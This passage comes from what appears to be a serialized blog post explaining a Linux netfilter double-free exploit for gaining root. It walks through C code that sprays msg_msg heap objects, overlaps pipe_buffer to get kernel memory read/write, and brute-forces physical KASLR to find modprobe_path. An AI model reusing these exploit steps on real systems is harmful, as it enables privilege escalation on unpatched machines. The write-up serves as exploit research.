pointer",{"type":21,"tag":22,"props":59727,"children":59728},{},[59729,59731,59737,59739,59744,59746,59752],{"type":26,"value":59730},"Using the double-free vulnerability we can overlap a ",{"type":21,"tag":78,"props":59732,"children":59734},{"className":59733},[],[59735],{"type":26,"value":59736},"msg_msg",{"type":26,"value":59738}," object with with ",{"type":21,"tag":78,"props":59740,"children":59742},{"className":59741},[],[59743],{"type":26,"value":57390},{"type":26,"value":59745}," and control the ",{"type":21,"tag":78,"props":59747,"children":59749},{"className":59748},[],[59750],{"type":26,"value":59751},"m_list.next",{"type":26,"value":59753}," pointer.",{"type":21,"tag":143,"props":59755,"children":59757},{"className":31805,"code":59756,"language":31807,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[59758],{"type":21,"tag":78,"props":59759,"children":59760},{"__ignoreMap":7},[59761,59769,59785,59806,59819,59837,59862,59878,59886,59893,59900,59908,59940],{"type":21,"tag":153,"props":59762,"children":59763},{"class":155,"line":156},[59764],{"type":21,"tag":153,"props":59765,"children":59766},{"style":3050},[59767],{"type":26,"value":59768},"/* one msg_msg structure for each message */\n",{"type":21,"tag":153,"props":59770,"children":59771},{"class":155,"line":166},[59772,59776,59781],{"type":21,"tag":153,"props":59773,"children":59774},{"style":170},[59775],{"type":26,"value":12123},{"type":21,"tag":153,"props":59777,"children":59778},{"style":214},[59779],{"type":26,"value":59780}," msg_msg",{"type":21,"tag":153,"props":59782,"children":59783},{"style":160},[59784],{"type":26,"value":236},{"type":21,"tag":153,"props":59786,"children":59787},{"class":155,"line":225},[59788,59792,59797,59802],{"type":21,"tag":153,"props":59789,"children":59790},{"style":170},[59791],{"type":26,"value":23844},{"type":21,"tag":153,"props":59793,"children":59794},{"style":214},[59795],{"type":26,"value":59796}," list_head",{"type":21,"tag":153,"props":59798,"children":59799},{"style":192},[59800],{"type":26,"value":59801}," m_list",{"type":21,"tag":153,"props":59803,"children":59804},{"style":160},[59805],{"type":26,"value":1759},{"type":21,"tag":153,"props":59807,"children":59808},{"class":155,"line":239},[59809,59814],{"type":21,"tag":153,"props":59810,"children":59811},{"style":170},[59812],{"type":26,"value":59813}," long",{"type":21,"tag":153,"props":59815,"children":59816},{"style":160},[59817],{"type":26,"value":59818}," m_type;\n",{"type":21,"tag":153,"props":59820,"children":59821},{"class":155,"line":382},[59822,59827,59832],{"type":21,"tag":153,"props":59823,"children":59824},{"style":170},[59825],{"type":26,"value":59826}," size_t",{"type":21,"tag":153,"props":59828,"children":59829},{"style":160},[59830],{"type":26,"value":59831}," m_ts;",{"type":21,"tag":153,"props":59833,"children":59834},{"style":3050},[59835],{"type":26,"value":59836},"  /* message text size */\n",{"type":21,"tag":153,"props":59838,"children":59839},{"class":155,"line":501},[59840,59844,59849,59853,59858],{"type":21,"tag":153,"props":59841,"children":59842},{"style":170},[59843],{"type":26,"value":23844},{"type":21,"tag":153,"props":59845,"children":59846},{"style":214},[59847],{"type":26,"value":59848}," msg_msgseg",{"type":21,"tag":153,"props":59850,"children":59851},{"style":170},[59852],{"type":26,"value":5080},{"type":21,"tag":153,"props":59854,"children":59855},{"style":192},[59856],{"type":26,"value":59857},"next",{"type":21,"tag":153,"props":59859,"children":59860},{"style":160},[59861],{"type":26,"value":1759},{"type":21,"tag":153,"props":59863,"children":59864},{"class":155,"line":533},[59865,59869,59873],{"type":21,"tag":153,"props":59866,"children":59867},{"style":170},[59868],{"type":26,"value":53340},{"type":21,"tag":153,"props":59870,"children":59871},{"style":198},[59872],{"type":26,"value":5080},{"type":21,"tag":153,"props":59874,"children":59875},{"style":160},[59876],{"type":26,"value":59877},"security;\n",{"type":21,"tag":153,"props":59879,"children":59880},{"class":155,"line":542},[59881],{"type":21,"tag":153,"props":59882,"children":59883},{"style":3050},[59884],{"type":26,"value":59885}," /* the actual message follows immediately */\n",{"type":21,"tag":153,"props":59887,"children":59888},{"class":155,"line":762},[59889],{"type":21,"tag":153,"props":59890,"children":59891},{"style":160},[59892],{"type":26,"value":19275},{"type":21,"tag":153,"props":59894,"children":59895},{"class":155,"line":776},[59896],{"type":21,"tag":153,"props":59897,"children":59898},{"style":160},[59899],{"type":26,"value":13038},{"type":21,"tag":153,"props":59901,"children":59902},{"class":155,"line":795},[59903],{"type":21,"tag":153,"props":59904,"children":59905},{"style":160},[59906],{"type":26,"value":59907},"struct list_head {\n",{"type":21,"tag":153,"props":59909,"children":59910},{"class":155,"line":808},[59911,59915,59919,59923,59927,59931,59935],{"type":21,"tag":153,"props":59912,"children":59913},{"style":170},[59914],{"type":26,"value":23844},{"type":21,"tag":153,"props":59916,"children":59917},{"style":214},[59918],{"type":26,"value":59796},{"type":21,"tag":153,"props":59920,"children":59921},{"style":170},[59922],{"type":26,"value":5080},{"type":21,"tag":153,"props":59924,"children":59925},{"style":192},[59926],{"type":26,"value":59857},{"type":21,"tag":153,"props":59928,"children":59929},{"style":160},[59930],{"type":26,"value":1670},{"type":21,"tag":153,"props":59932,"children":59933},{"style":198},[59934],{"type":26,"value":313},{"type":21,"tag":153,"props":59936,"children":59937},{"style":160},[59938],{"type":26,"value":59939},"prev;\n",{"type":21,"tag":153,"props":59941,"children":59942},{"class":155,"line":820},[59943],{"type":21,"tag":153,"props":59944,"children":59945},{"style":160},[59946],{"type":26,"value":19275},{"type":21,"tag":22,"props":59948,"children":59949},{},[59950,59952,59958,59960,59965],{"type":26,"value":59951},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":21,"tag":78,"props":59953,"children":59955},{"className":59954},[],[59956],{"type":26,"value":59957},"mlist.next",{"type":26,"value":59959}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":21,"tag":78,"props":59961,"children":59963},{"className":59962},[],[59964],{"type":26,"value":59736},{"type":26,"value":59966}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":21,"tag":22,"props":59968,"children":59969},{},[59970,59972,59977,59979],{"type":26,"value":59971},"By incrementing the next pointer of our controllable ",{"type":21,"tag":78,"props":59973,"children":59975},{"className":59974},[],[59976],{"type":26,"value":59736},{"type":26,"value":59978}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":21,"tag":3644,"props":59980,"children":59982},{"alt":52869,"src":59981},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":21,"tag":143,"props":59984,"children":59986},{"className":31805,"code":59985,"language":31807,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[59987],{"type":21,"tag":78,"props":59988,"children":59989},{"__ignoreMap":7},[59990,59997,60005,60031,60048,60096,60103,60143,60175,60182,60203,60210,60257,60321,60347,60393,60417,60461,60468,60476,60512,60536,60543,60563,60570],{"type":21,"tag":153,"props":59991,"children":59992},{"class":155,"line":156},[59993],{"type":21,"tag":153,"props":59994,"children":59995},{"style":160},[59996],{"type":26,"value":13038},{"type":21,"tag":153,"props":59998,"children":59999},{"class":155,"line":166},[60000],{"type":21,"tag":153,"props":60001,"children":60002},{"style":160},[60003],{"type":26,"value":60004},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":21,"tag":153,"props":60006,"children":60007},{"class":155,"line":225},[60008,60013,60017,60021,60026],{"type":21,"tag":153,"props":60009,"children":60010},{"style":160},[60011],{"type":26,"value":60012},"    msg_t *msg = calloc(1, ",{"type":21,"tag":153,"props":60014,"children":60015},{"style":214},[60016],{"type":26,"value":57619},{"type":21,"tag":153,"props":60018,"children":60019},{"style":160},[60020],{"type":26,"value":189},{"type":21,"tag":153,"props":60022,"children":60023},{"style":214},[60024],{"type":26,"value":60025},"msg_t",{"type":21,"tag":153,"props":60027,"children":60028},{"style":160},[60029],{"type":26,"value":60030},") + 0xe8 - 48);\n",{"type":21,"tag":153,"props":60032,"children":60033},{"class":155,"line":239},[60034,60038,60043],{"type":21,"tag":153,"props":60035,"children":60036},{"style":170},[60037],{"type":26,"value":21773},{"type":21,"tag":153,"props":60039,"children":60040},{"style":192},[60041],{"type":26,"value":60042}," qid",{"type":21,"tag":153,"props":60044,"children":60045},{"style":160},[60046],{"type":26,"value":60047},"[SPRAY];\n",{"type":21,"tag":153,"props":60049,"children":60050},{"class":155,"line":382},[60051,60055,60059,60063,60067,60071,60075,60079,60083,60088,60092],{"type":21,"tag":153,"props":60052,"children":60053},{"style":1751},[60054],{"type":26,"value":5784},{"type":21,"tag":153,"props":60056,"children":60057},{"style":160},[60058],{"type":26,"value":5820},{"type":21,"tag":153,"props":60060,"children":60061},{"style":170},[60062],{"type":26,"value":21743},{"type":21,"tag":153,"props":60064,"children":60065},{"style":160},[60066],{"type":26,"value":56835},{"type":21,"tag":153,"props":60068,"children":60069},{"style":198},[60070],{"type":26,"value":2367},{"type":21,"tag":153,"props":60072,"children":60073},{"style":300},[60074],{"type":26,"value":5799},{"type":21,"tag":153,"props":60076,"children":60077},{"style":160},[60078],{"type":26,"value":53524},{"type":21,"tag":153,"props":60080,"children":60081},{"style":198},[60082],{"type":26,"value":8537},{"type":21,"tag":153,"props":60084,"children":60085},{"style":160},[60086],{"type":26,"value":60087}," SPRAY; i",{"type":21,"tag":153,"props":60089,"children":60090},{"style":198},[60091],{"type":26,"value":53560},{"type":21,"tag":153,"props":60093,"children":60094},{"style":160},[60095],{"type":26,"value":5909},{"type":21,"tag":153,"props":60097,"children":60098},{"class":155,"line":501},[60099],{"type":21,"tag":153,"props":60100,"children":60101},{"style":160},[60102],{"type":26,"value":2562},{"type":21,"tag":153,"props":60104,"children":60105},{"class":155,"line":533},[60106,60111,60115,60119,60124,60129,60134,60138],{"type":21,"tag":153,"props":60107,"children":60108},{"style":192},[60109],{"type":26,"value":60110},"        qid",{"type":21,"tag":153,"props":60112,"children":60113},{"style":160},[60114],{"type":26,"value":56887},{"type":21,"tag":153,"props":60116,"children":60117},{"style":198},[60118],{"type":26,"value":2367},{"type":21,"tag":153,"props":60120,"children":60121},{"style":181},[60122],{"type":26,"value":60123}," msgget",{"type":21,"tag":153,"props":60125,"children":60126},{"style":160},[60127],{"type":26,"value":60128},"(IPC_PRIVATE, ",{"type":21,"tag":153,"props":60130,"children":60131},{"style":300},[60132],{"type":26,"value":60133},"0666",{"type":21,"tag":153,"props":60135,"children":60136},{"style":198},[60137],{"type":26,"value":7001},{"type":21,"tag":153,"props":60139,"children":60140},{"style":160},[60141],{"type":26,"value":60142}," IPC_CREAT);\n",{"type":21,"tag":153,"props":60144,"children":60145},{"class":155,"line":542},[60146,60150,60154,60159,60163,60167,60171],{"type":21,"tag":153,"props":60147,"children":60148},{"style":1751},[60149],{"type":26,"value":2607},{"type":21,"tag":153,"props":60151,"children":60152},{"style":160},[60153],{"type":26,"value":5820},{"type":21,"tag":153,"props":60155,"children":60156},{"style":192},[60157],{"type":26,"value":60158},"qid",{"type":21,"tag":153,"props":60160,"children":60161},{"style":160},[60162],{"type":26,"value":56887},{"type":21,"tag":153,"props":60164,"children":60165},{"style":198},[60166],{"type":26,"value":8537},{"type":21,"tag":153,"props":60168,"children":60169},{"style":300},[60170],{"type":26,"value":5799},{"type":21,"tag":153,"props":60172,"children":60173},{"style":160},[60174],{"type":26,"value":5909},{"type":21,"tag":153,"props":60176,"children":60177},{"class":155,"line":762},[60178],{"type":21,"tag":153,"props":60179,"children":60180},{"style":160},[60181],{"type":26,"value":34353},{"type":21,"tag":153,"props":60183,"children":60184},{"class":155,"line":776},[60185,60190,60194,60199],{"type":21,"tag":153,"props":60186,"children":60187},{"style":181},[60188],{"type":26,"value":60189},"            perror",{"type":21,"tag":153,"props":60191,"children":60192},{"style":160},[60193],{"type":26,"value":189},{"type":21,"tag":153,"props":60195,"children":60196},{"style":671},[60197],{"type":26,"value":60198},"\"[-] msgget\"",{"type":21,"tag":153,"props":60200,"children":60201},{"style":160},[60202],{"type":26,"value":530},{"type":21,"tag":153,"props":60204,"children":60205},{"class":155,"line":795},[60206],{"type":21,"tag":153,"props":60207,"children":60208},{"style":160},[60209],{"type":26,"value":2765},{"type":21,"tag":153,"props":60211,"children":60212},{"class":155,"line":808},[60213,60217,60221,60226,60230,60234,60239,60243,60248,60252],{"type":21,"tag":153,"props":60214,"children":60215},{"style":198},[60216],{"type":26,"value":10478},{"type":21,"tag":153,"props":60218,"children":60219},{"style":160},[60220],{"type":26,"value":189},{"type":21,"tag":153,"props":60222,"children":60223},{"style":170},[60224],{"type":26,"value":60225},"uint32_t",{"type":21,"tag":153,"props":60227,"children":60228},{"style":198},[60229],{"type":26,"value":5080},{"type":21,"tag":153,"props":60231,"children":60232},{"style":160},[60233],{"type":26,"value":2071},{"type":21,"tag":153,"props":60235,"children":60236},{"style":192},[60237],{"type":26,"value":60238},"msg",{"type":21,"tag":153,"props":60240,"children":60241},{"style":160},[60242],{"type":26,"value":2953},{"type":21,"tag":153,"props":60244,"children":60245},{"style":192},[60246],{"type":26,"value":60247},"mtext",{"type":21,"tag":153,"props":60249,"children":60250},{"style":198},[60251],{"type":26,"value":255},{"type":21,"tag":153,"props":60253,"children":60254},{"style":160},[60255],{"type":26,"value":60256}," i;\n",{"type":21,"tag":153,"props":60258,"children":60259},{"class":155,"line":820},[60260,60264,60268,60272,60276,60280,60284,60288,60292,60296,60300,60304,60308,60312,60317],{"type":21,"tag":153,"props":60261,"children":60262},{"style":198},[60263],{"type":26,"value":10478},{"type":21,"tag":153,"props":60265,"children":60266},{"style":160},[60267],{"type":26,"value":189},{"type":21,"tag":153,"props":60269,"children":60270},{"style":170},[60271],{"type":26,"value":57926},{"type":21,"tag":153,"props":60273,"children":60274},{"style":198},[60275],{"type":26,"value":5080},{"type":21,"tag":153,"props":60277,"children":60278},{"style":160},[60279],{"type":26,"value":2071},{"type":21,"tag":153,"props":60281,"children":60282},{"style":198},[60283],{"type":26,"value":1974},{"type":21,"tag":153,"props":60285,"children":60286},{"style":192},[60287],{"type":26,"value":60238},{"type":21,"tag":153,"props":60289,"children":60290},{"style":160},[60291],{"type":26,"value":2953},{"type":21,"tag":153,"props":60293,"children":60294},{"style":192},[60295],{"type":26,"value":60247},{"type":21,"tag":153,"props":60297,"children":60298},{"style":160},[60299],{"type":26,"value":211},{"type":21,"tag":153,"props":60301,"children":60302},{"style":300},[60303],{"type":26,"value":303},{"type":21,"tag":153,"props":60305,"children":60306},{"style":160},[60307],{"type":26,"value":11387},{"type":21,"tag":153,"props":60309,"children":60310},{"style":198},[60311],{"type":26,"value":2367},{"type":21,"tag":153,"props":60313,"children":60314},{"style":300},[60315],{"type":26,"value":60316}," 0xdeadbeefcafebabe",{"type":21,"tag":153,"props":60318,"children":60319},{"style":160},[60320],{"type":26,"value":1759},{"type":21,"tag":153,"props":60322,"children":60323},{"class":155,"line":842},[60324,60329,60333,60338,60342],{"type":21,"tag":153,"props":60325,"children":60326},{"style":192},[60327],{"type":26,"value":60328},"        msg",{"type":21,"tag":153,"props":60330,"children":60331},{"style":160},[60332],{"type":26,"value":2953},{"type":21,"tag":153,"props":60334,"children":60335},{"style":192},[60336],{"type":26,"value":60337},"mtype",{"type":21,"tag":153,"props":60339,"children":60340},{"style":198},[60341],{"type":26,"value":255},{"type":21,"tag":153,"props":60343,"children":60344},{"style":160},[60345],{"type":26,"value":60346}," MTYPE_PRIMARY;\n",{"type":21,"tag":153,"props":60348,"children":60349},{"class":155,"line":3204},[60350,60355,60359,60363,60368,60372,60376,60381,60385,60389],{"type":21,"tag":153,"props":60351,"children":60352},{"style":181},[60353],{"type":26,"value":60354},"        msgsnd",{"type":21,"tag":153,"props":60356,"children":60357},{"style":160},[60358],{"type":26,"value":189},{"type":21,"tag":153,"props":60360,"children":60361},{"style":192},[60362],{"type":26,"value":60158},{"type":21,"tag":153,"props":60364,"children":60365},{"style":160},[60366],{"type":26,"value":60367},"[i], msg, ",{"type":21,"tag":153,"props":60369,"children":60370},{"style":300},[60371],{"type":26,"value":58263},{"type":21,"tag":153,"props":60373,"children":60374},{"style":198},[60375],{"type":26,"value":53546},{"type":21,"tag":153,"props":60377,"children":60378},{"style":300},[60379],{"type":26,"value":60380}," 48",{"type":21,"tag":153,"props":60382,"children":60383},{"style":160},[60384],{"type":26,"value":1670},{"type":21,"tag":153,"props":60386,"children":60387},{"style":300},[60388],{"type":26,"value":2996},{"type":21,"tag":153,"props":60390,"children":60391},{"style":160},[60392],{"type":26,"value":530},{"type":21,"tag":153,"props":60394,"children":60395},{"class":155,"line":3230},[60396,60400,60404,60408,60412],{"type":21,"tag":153,"props":60397,"children":60398},{"style":192},[60399],{"type":26,"value":60328},{"type":21,"tag":153,"props":60401,"children":60402},{"style":160},[60403],{"type":26,"value":2953},{"type":21,"tag":153,"props":60405,"children":60406},{"style":192},[60407],{"type":26,"value":60337},{"type":21,"tag":153,"props":60409,"children":60410},{"style":198},[60411],{"type":26,"value":255},{"type":21,"tag":153,"props":60413,"children":60414},{"style":160},[60415],{"type":26,"value":60416}," MTYPE_SECONDARY;\n",{"type":21,"tag":153,"props":60418,"children":60419},{"class":155,"line":3239},[60420,60424,60428,60432,60436,60441,60445,60449,60453,60457],{"type":21,"tag":153,"props":60421,"children":60422},{"style":181},[60423],{"type":26,"value":60354},{"type":21,"tag":153,"props":60425,"children":60426},{"style":160},[60427],{"type":26,"value":189},{"type":21,"tag":153,"props":60429,"children":60430},{"style":192},[60431],{"type":26,"value":60158},{"type":21,"tag":153,"props":60433,"children":60434},{"style":160},[60435],{"type":26,"value":60367},{"type":21,"tag":153,"props":60437,"children":60438},{"style":300},[60439],{"type":26,"value":60440},"1024",{"type":21,"tag":153,"props":60442,"children":60443},{"style":198},[60444],{"type":26,"value":53546},{"type":21,"tag":153,"props":60446,"children":60447},{"style":300},[60448],{"type":26,"value":60380},{"type":21,"tag":153,"props":60450,"children":60451},{"style":160},[60452],{"type":26,"value":1670},{"type":21,"tag":153,"props":60454,"children":60455},{"style":300},[60456],{"type":26,"value":2996},{"type":21,"tag":153,"props":60458,"children":60459},{"style":160},[60460],{"type":26,"value":530},{"type":21,"tag":153,"props":60462,"children":60463},{"class":155,"line":3253},[60464],{"type":21,"tag":153,"props":60465,"children":60466},{"style":160},[60467],{"type":26,"value":539},{"type":21,"tag":153,"props":60469,"children":60470},{"class":155,"line":3301},[60471],{"type":21,"tag":153,"props":60472,"children":60473},{"style":3050},[60474],{"type":26,"value":60475},"    // Prepare evil msg\n",{"type":21,"tag":153,"props":60477,"children":60478},{"class":155,"line":3346},[60479,60483,60488,60492,60496,60500,60504,60508],{"type":21,"tag":153,"props":60480,"children":60481},{"style":170},[60482],{"type":26,"value":21773},{"type":21,"tag":153,"props":60484,"children":60485},{"style":160},[60486],{"type":26,"value":60487}," evilqid ",{"type":21,"tag":153,"props":60489,"children":60490},{"style":198},[60491],{"type":26,"value":2367},{"type":21,"tag":153,"props":60493,"children":60494},{"style":181},[60495],{"type":26,"value":60123},{"type":21,"tag":153,"props":60497,"children":60498},{"style":160},[60499],{"type":26,"value":60128},{"type":21,"tag":153,"props":60501,"children":60502},{"style":300},[60503],{"type":26,"value":60133},{"type":21,"tag":153,"props":60505,"children":60506},{"style":198},[60507],{"type":26,"value":7001},{"type":21,"tag":153,"props":60509,"children":60510},{"style":160},[60511],{"type":26,"value":60142},{"type":21,"tag":153,"props":60513,"children":60514},{"class":155,"line":3355},[60515,60519,60524,60528,60532],{"type":21,"tag":153,"props":60516,"children":60517},{"style":1751},[60518],{"type":26,"value":2434},{"type":21,"tag":153,"props":60520,"children":60521},{"style":160},[60522],{"type":26,"value":60523}," (evilqid ",{"type":21,"tag":153,"props":60525,"children":60526},{"style":198},[60527],{"type":26,"value":8537},{"type":21,"tag":153,"props":60529,"children":60530},{"style":300},[60531],{"type":26,"value":5799},{"type":21,"tag":153,"props":60533,"children":60534},{"style":160},[60535],{"type":26,"value":5909},{"type":21,"tag":153,"props":60537,"children":60538},{"class":155,"line":3364},[60539],{"type":21,"tag":153,"props":60540,"children":60541},{"style":160},[60542],{"type":26,"value":2562},{"type":21,"tag":153,"props":60544,"children":60545},{"class":155,"line":3376},[60546,60551,60555,60559],{"type":21,"tag":153,"props":60547,"children":60548},{"style":181},[60549],{"type":26,"value":60550},"        perror",{"type":21,"tag":153,"props":60552,"children":60553},{"style":160},[60554],{"type":26,"value":189},{"type":21,"tag":153,"props":60556,"children":60557},{"style":671},[60558],{"type":26,"value":60198},{"type":21,"tag":153,"props":60560,"children":60561},{"style":160},[60562],{"type":26,"value":530},{"type":21,"tag":153,"props":60564,"children":60565},{"class":155,"line":3393},[60566],{"type":21,"tag":153,"props":60567,"children":60568},{"style":160},[60569],{"type":26,"value":539},{"type":21,"tag":153,"props":60571,"children":60572},{"class":155,"line":3405},[60573],{"type":21,"tag":153,"props":60574,"children":60575},{"style":160},[60576],{"type":26,"value":60577},"[...] // trigger double-free in kmalloc-256\n",{"type":21,"tag":114,"props":60579,"children":60581},{"id":60580},"using-pipe_buffer-page-pointer-for-physical-readwrite",[60582],{"type":26,"value":60583},"Using pipe_buffer->page pointer for physical read/write",{"type":21,"tag":22,"props":60585,"children":60586},{},[60587,60589,60595,60596,60602,60603,60609,60611,60617],{"type":26,"value":60588},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":21,"tag":78,"props":60590,"children":60592},{"className":60591},[],[60593],{"type":26,"value":60594},"kmalloc-1k",{"type":26,"value":52},{"type":21,"tag":78,"props":60597,"children":60599},{"className":60598},[],[60600],{"type":26,"value":60601},"overlap pipe_buffer",{"type":26,"value":24196},{"type":21,"tag":78,"props":60604,"children":60606},{"className":60605},[],[60607],{"type":26,"value":60608},"skbuf",{"type":26,"value":60610}," data to control the ",{"type":21,"tag":78,"props":60612,"children":60614},{"className":60613},[],[60615],{"type":26,"value":60616},"page",{"type":26,"value":60618}," field.",{"type":21,"tag":22,"props":60620,"children":60621},{},[60622,60623,60628,60630,60636,60638],{"type":26,"value":19311},{"type":21,"tag":78,"props":60624,"children":60626},{"className":60625},[],[60627],{"type":26,"value":60616},{"type":26,"value":60629}," field is a pointer into ",{"type":21,"tag":78,"props":60631,"children":60633},{"className":60632},[],[60634],{"type":26,"value":60635},"vmemmap_base",{"type":26,"value":60637},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":21,"tag":3644,"props":60639,"children":60641},{"alt":52869,"src":60640},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":21,"tag":22,"props":60643,"children":60644},{},[60645,60647,60652],{"type":26,"value":60646},"This now allows us to navigate the ",{"type":21,"tag":78,"props":60648,"children":60650},{"className":60649},[],[60651],{"type":26,"value":60635},{"type":26,"value":60653}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":21,"tag":114,"props":60655,"children":60657},{"id":60656},"bruteforce-physical-kernel-base",[60658],{"type":26,"value":60659},"Bruteforce physical kernel base",{"type":21,"tag":22,"props":60661,"children":60662},{},[60663,60665,60671,60673,60678,60680,60686],{"type":26,"value":60664},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":21,"tag":78,"props":60666,"children":60668},{"className":60667},[],[60669],{"type":26,"value":60670},"modprobe_path",{"type":26,"value":60672},". Keep in mind that simply searching page by page from the start of ",{"type":21,"tag":78,"props":60674,"children":60676},{"className":60675},[],[60677],{"type":26,"value":60635},{"type":26,"value":60679}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":21,"tag":78,"props":60681,"children":60683},{"className":60682},[],[60684],{"type":26,"value":60685},"PHYSICAL_ALIGN",{"type":26,"value":60687}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":21,"tag":143,"props":60689,"children":60691},{"className":31805,"code":60690,"language":31807,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[60692],{"type":21,"tag":78,"props":60693,"children":60694},{"__ignoreMap":7},[60695,60702,60710,60718,60742,60775,60795,60835,60842,60886,60920,60947,60983,60990,61036,61043,61073,61086,61151,61158,61170,61178,61185,61192,61218,61225,61245,61257,61264,61271,61278],{"type":21,"tag":153,"props":60696,"children":60697},{"class":155,"line":156},[60698],{"type":21,"tag":153,"props":60699,"children":60700},{"style":160},[60701],{"type":26,"value":13038},{"type":21,"tag":153,"props":60703,"children":60704},{"class":155,"line":166},[60705],{"type":21,"tag":153,"props":60706,"children":60707},{"style":160},[60708],{"type":26,"value":60709},"// Bruteforce phys-KASLR\n",{"type":21,"tag":153,"props":60711,"children":60712},{"class":155,"line":225},[60713],{"type":21,"tag":153,"props":60714,"children":60715},{"style":160},[60716],{"type":26,"value":60717},"    uint64_t kernel_base;\n",{"type":21,"tag":153,"props":60719,"children":60720},{"class":155,"line":239},[60721,60725,60730,60734,60738],{"type":21,"tag":153,"props":60722,"children":60723},{"style":170},[60724],{"type":26,"value":48762},{"type":21,"tag":153,"props":60726,"children":60727},{"style":160},[60728],{"type":26,"value":60729}," found ",{"type":21,"tag":153,"props":60731,"children":60732},{"style":198},[60733],{"type":26,"value":2367},{"type":21,"tag":153,"props":60735,"children":60736},{"style":170},[60737],{"type":26,"value":11782},{"type":21,"tag":153,"props":60739,"children":60740},{"style":160},[60741],{"type":26,"value":1759},{"type":21,"tag":153,"props":60743,"children":60744},{"class":155,"line":382},[60745,60750,60754,60759,60763,60767,60771],{"type":21,"tag":153,"props":60746,"children":60747},{"style":170},[60748],{"type":26,"value":60749},"    uint8_t",{"type":21,"tag":153,"props":60751,"children":60752},{"style":192},[60753],{"type":26,"value":696},{"type":21,"tag":153,"props":60755,"children":60756},{"style":160},[60757],{"type":26,"value":60758},"[PAGE_SIZE] ",{"type":21,"tag":153,"props":60760,"children":60761},{"style":198},[60762],{"type":26,"value":2367},{"type":21,"tag":153,"props":60764,"children":60765},{"style":160},[60766],{"type":26,"value":4955},{"type":21,"tag":153,"props":60768,"children":60769},{"style":300},[60770],{"type":26,"value":2996},{"type":21,"tag":153,"props":60772,"children":60773},{"style":160},[60774],{"type":26,"value":19275},{"type":21,"tag":153,"props":60776,"children":60777},{"class":155,"line":501},[60778,60782,60786,60791],{"type":21,"tag":153,"props":60779,"children":60780},{"style":181},[60781],{"type":26,"value":57798},{"type":21,"tag":153,"props":60783,"children":60784},{"style":160},[60785],{"type":26,"value":189},{"type":21,"tag":153,"props":60787,"children":60788},{"style":671},[60789],{"type":26,"value":60790},"\"[*] bruteforce phys-KASLR\"",{"type":21,"tag":153,"props":60792,"children":60793},{"style":160},[60794],{"type":26,"value":530},{"type":21,"tag":153,"props":60796,"children":60797},{"class":155,"line":533},[60798,60802,60806,60810,60814,60818,60822,60827,60831],{"type":21,"tag":153,"props":60799,"children":60800},{"style":1751},[60801],{"type":26,"value":5784},{"type":21,"tag":153,"props":60803,"children":60804},{"style":160},[60805],{"type":26,"value":5820},{"type":21,"tag":153,"props":60807,"children":60808},{"style":170},[60809],{"type":26,"value":57926},{"type":21,"tag":153,"props":60811,"children":60812},{"style":160},[60813],{"type":26,"value":56835},{"type":21,"tag":153,"props":60815,"children":60816},{"style":198},[60817],{"type":26,"value":2367},{"type":21,"tag":153,"props":60819,"children":60820},{"style":300},[60821],{"type":26,"value":5799},{"type":21,"tag":153,"props":60823,"children":60824},{"style":160},[60825],{"type":26,"value":60826},";; 